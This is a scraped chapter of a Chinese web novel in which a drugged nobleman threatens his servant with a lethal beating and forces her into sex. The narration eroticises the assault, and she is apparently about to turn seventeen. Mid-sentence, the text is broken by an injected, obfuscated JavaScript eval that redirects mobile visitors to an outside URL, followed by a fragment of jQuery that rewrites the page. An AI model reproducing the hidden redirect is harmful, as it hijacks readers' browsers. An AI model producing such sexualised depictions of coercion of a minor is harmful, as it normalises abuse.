默认冷灰
24号文字
方正启体

6. 第六章

作者:南山六十七本书字数:K更新时间:
    柳薇是被扼着后颈拖进屋里的。甫一入内,只觉眼前天旋地转,视线确切下来时,背已然抵上了墙壁,生冷坚硬。但这些与面前的相比,实在是小巫见大巫——萧绝就在对面,巍峨耸立,凌厉的眼神死死摄着她的脸。


    “你是我府里的下人,我拿你一用,你却推三阻四。”他的语气寒气逼人,声线却在微小地颤动着,“……别不识抬举,柳薇。”


    凡事从他嘴里吐出来的话,威慑力十足,何况他指名道姓警告。柳薇腿都软了,假如不是陷在他的包围中,估计得跌到地上去。


    将撑墙的胳膊放下来,萧绝闭了闭眼,发布命令:“把衣裳脱了,转过去。”


    药效凶猛,萧绝真切感觉,躯体连着头脑,几近炸了,容不得他挑三拣四的,甭管脏的臭的、肥的瘦的、黑的白的,他必须去排解,刻不容缓。


    有形的桎梏松解,即时降临的,是致命一击:萧绝令她脱了衣裳,转过去……他要开始了。


    固然柳薇卑微如尘埃,可在清白上,一丁点不曾含混,要她在一个男人眼皮子底下脱衣,她做不出来。


    非但做不出,兼而捂紧衣襟,苦苦哀求他:“奴婢不敢,也不能……国公爷就高抬贵手,放过奴婢吧……奴婢到死也会感激您的大恩大德的……”


    让她背过去,正是烦她睁着两个圆眼睛,哭哭啼啼、可怜兮兮的模样。现下又来这套,萧绝耐心全无,皱起剑眉,下最后通牒:“你听话服侍,今后保你荣华富贵;否则,视为刁蛮不逊,按家法,当从重发落。”


    上次仅仅是远远地碰上他,便得了四十大板,险些命丧黄泉。这次,从重发落,怎么个从重?想必是活活儿被打死的下场吧……


    萧绝完全没有吓唬她,也不屑吓唬她一个奴才,他是真的下得去手。


    一想起水深火热中的阿娘,柳薇便明白,这层衣裳,保不住了。


    “是……”柳薇伸手,从外到里,一层层剥开衣衫,只剩下亵衣亵裤。她羞赧欲死,再没勇气仰头承受萧绝的眼神凌迟,深深地低着头,眼眶里水雾氤氲。


    “背过去。”男人一边吩咐,一边宽衣解带;他扔开衣袍,独独留下腰带,给予柳薇,“害怕的话,覆到眼睛上。待会不准哭,也不准叫,听清楚了么?”


    柳薇捧着那云纹锦带,很重,乃至把她的腰压弯压折了。她顺从他的话,转过去,举手系在眼睛上,眼前霎时漆黑无光。


    紧张与恐惧的交错中,一个手掐在了腰上,同一时间,另有一个手,扯下亵裤。柳薇不由自主地向前面一闪,手肘趴在墙上,将最难以启齿的一面暴露在外。


    萧绝高高在上,俯视万物——柳薇的背、柳薇的腰、柳薇的腿……同她的脸不同,她身上很白,很瘦,他的影子,可以轻而易举地笼下整个她。


    她无助、可怜、狼狈。


    萧绝分神一想:此后,便抬她做个侍妾罢了。他的侍妾,何其荣光,这是也她的造化。


    收敛思绪,萧绝驱身,慷慨地赏她这场造化。


    没有任何甜言蜜语,注定了艰涩难行。饶萧绝一鼓作气,终归难以畅快,不得已清心寡欲起来。


    柳薇脆弱得忘记了他刚刚的告诫,伏在墙上,哽咽道:“疼……”


    萧绝十分不爽:“忍着。”


    他不是容易善罢甘休的人,纵然风雨在前,偏要迎难而上。


    他在强人所难,堪堪搅碎了柳薇,她忍不住要躲,却被他当场抓住。


    “我疼得快死了……”她在呜咽,在一寸寸僵化,直至坚若磐石、刀枪不入。


    萧绝无从施展,动了怒,一把给她翻过来,摁着她肩膀,将她摁到土崩瓦解,双膝塌陷在地板上;继而捞起她下巴,扯开蒙眼的衣带,让她沐浴在明与暗的交界中。


    彼此近在咫尺,触手可及,柳薇毛骨悚然,本能地转头逃避,但再度被萧绝遏止。


    “不要试图挑战我的耐心。”他握住她下颌骨的手,渐渐用力。


    下位者是不配有尊严的。


    所以作为上位者,萧绝高高伫立,钳制着她,藐视她,玩弄她,践踏她。


    这般不容置喙的姿态,柳薇不是第一次见了。


    大半年以前,混账爹叫来人牙子,围着她,上上下下地打量,旋即咧嘴一笑,夸她果然随了她娘,身材苗条,身段轻盈。


    而后又停在她面前,伸手来握她的脸。她抗拒,混账爹则在一旁高声呵斥:“你作死啊?不要乱动了!如果毁了我的好盘算,我跟你没完!”


    混账爹是会动手打人的,像她娘,有几次被打得鼻青脸肿,也不敢垂泪,那样他会变本加厉,再一顿毒打的。


    她替她娘打抱不平,曾顶撞过他两次,果不其然,惹得他暴跳如雷。最后,她蹲在地上,抱着肩膀,听他唾沫星子乱飞,受他毫无顾忌的痛打。


    人是会被打怕的。


    柳薇没再反抗,呆傻着,依着人牙子左右审视,又依着张开嘴,人牙子要看看她的牙口,是不是符合年龄。


    那些记忆尤新,如今只不过是换了个场景。


    而萧绝的权威顶得上千千万万个人牙子,她除了忍气吞声,别无他法。


    于柳薇而言,从始至终拥堵、煎熬、窒息;于萧绝而言,起初是灼热的,中间是肿胀的,末尾是舒适的。


    柳薇不安生,数


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125168|196032||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    次想逃,均为萧绝的大掌按住后脑勺,无情囚于一隅。


    不知过了多久,他总算慈悲一回,拿开手掌,解除禁锢,随便柳薇脱身,匍匐在地,干呕不断。


    柳薇的外衫就卸在一侧,上头悉数点染着萧绝的气息。


    一整天没吃什么东西,任凭柳薇狂呕,也呕不出什么来。萧绝见状,昂首去拾自己的衣服,边说:“从明日起,你来我院子里……”


    一语未尽,熟悉而微妙的情绪卷土重来,比之方才,强烈更甚。萧绝猛地站住,口里骂了句“该死”。


    看样子,今晚不真正和柳薇纠缠,是过不去了。


    萧绝的意思,柳薇顾不上琢磨,她堪堪爬起来,捡起自己的衣裳,不管上面沾着油渍或是旁的,慌忙往身上遮掩。


    既然他顺畅了,她的任务也结束了,没有留恋的必要。


    孰承想,才将衣服抖开来,就有一个强有力的手横在腕骨上,眼中随即压下一副阴郁的容颜:“再来。”


    不容分说,萧绝拽着她直往书案那里去。三步并两步,到了跟前。


    他说:“躺下去。”


    柳薇登时湿了眼眶:“您不是已经……”


    “别废话。”过来的时候,萧绝顺手拿了那衣带,正好派上用场——他亲手,蒙住了她的双目。(只是蒙个眼睛,怎么了呢?)


    置身黑暗中,柳薇丧失了方向感,没有任何安全感可言,只得杵在原地,一动不敢动。


    药力使然,萧绝浮躁不已,干脆推她躺倒。


    彷徨间,柳薇伸手乱抓一气,可算抓住了一样东西,捏在手心,温暖而坚实。她分辨出来,原来是萧绝的手臂。(抓住的是胳膊,不是别的!)


    她如惊弓之鸟,慌乱松手。撤手返回的途中,毫无征兆撞上了一大片炽热。这触感,分明是萧绝的胸膛!(是胸膛,胸膛是热的,有问题吗?)


    “国公……”


    “闭嘴。”她的声音,不会起好作用,光会使萧绝益加暴躁。


    柳薇忍辱遵从,死咬着嘴唇忍耐。


    她涉世不深,不通人事,轻易一撩拨,早已酥的酥、麻的麻,生生成了砧板上的鱼肉,待人宰割。


    时机成熟,萧绝全神贯注,趁势而为,果然再无阻碍。


    从头到脚,从身到心,彻彻底底……他化身为刽子手,一刀一刀将她割得四分五裂。


    她不折不扣地变成了他的傀儡。


    窗外,北风咆哮。


    这个深冬的夜,格外漫长。


    混混沌沌时,柳薇胡乱想着,自己恐怕要在十七岁的生日里,在这间屋子里,在萧绝的掌控下,粉身碎骨了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)